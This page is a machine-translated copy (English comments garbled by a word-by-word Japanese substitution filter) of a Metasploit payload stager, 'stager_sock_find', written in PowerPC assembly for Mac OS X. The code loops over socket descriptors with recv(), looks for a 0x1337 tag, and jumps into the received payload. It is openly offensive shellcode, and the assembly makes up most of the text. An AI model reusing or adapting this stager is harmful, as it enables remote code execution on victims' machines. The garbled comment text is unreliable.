このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Osx/ppc - stager sock find
;;
;
;        指名する: stager_sock_find
;   質s: Can Have Nulls
;   壇・綱領・公約s: MacOS X / PPC
;     Authors: H D Moore < hdm [at] metasploit.com >
;     見解/翻訳/版: $Revision: 1.1 $
;     License:
;
;        This とじ込み/提出する is part of the Metasploit 偉業/利用する 枠組み
;        and is 支配する to the same licenses and copyrights as
;        the 残り/休憩(する) of this 一括.
;
; Description:
;
;        This payload will recv() downward until the read
;        data 含む/封じ込めるs the search tag (0xXXXX1337). Once the
;        tag is 位置を示すd, it will jump into the payload.
;
;;

.globl _main
.text
_main:
	li 	r29, 0xfff
	li	r30, 0xfff
	addic.	r28, r29, -0xfff +1

findsock:
	subf.   r30, r28, r30
	blt	_main

	subi	r0, r29, 0xfff - 102
	mr	r3, r30
	subi	r4, r1, 4104
	li 	r5, 4095
	subi    r6, r29, 0xfff - 0x80
	.long   0x44ffff02
	xor.	r6, r6, r6
	
	lhz	r27, -4104(r1)
	cmpwi	r27, 0x1337
	bne	findsock

gotsock:
	subi	r4, r1, 4100
	mtctr	r4
	blectr	
	xor.	r6, r6, r6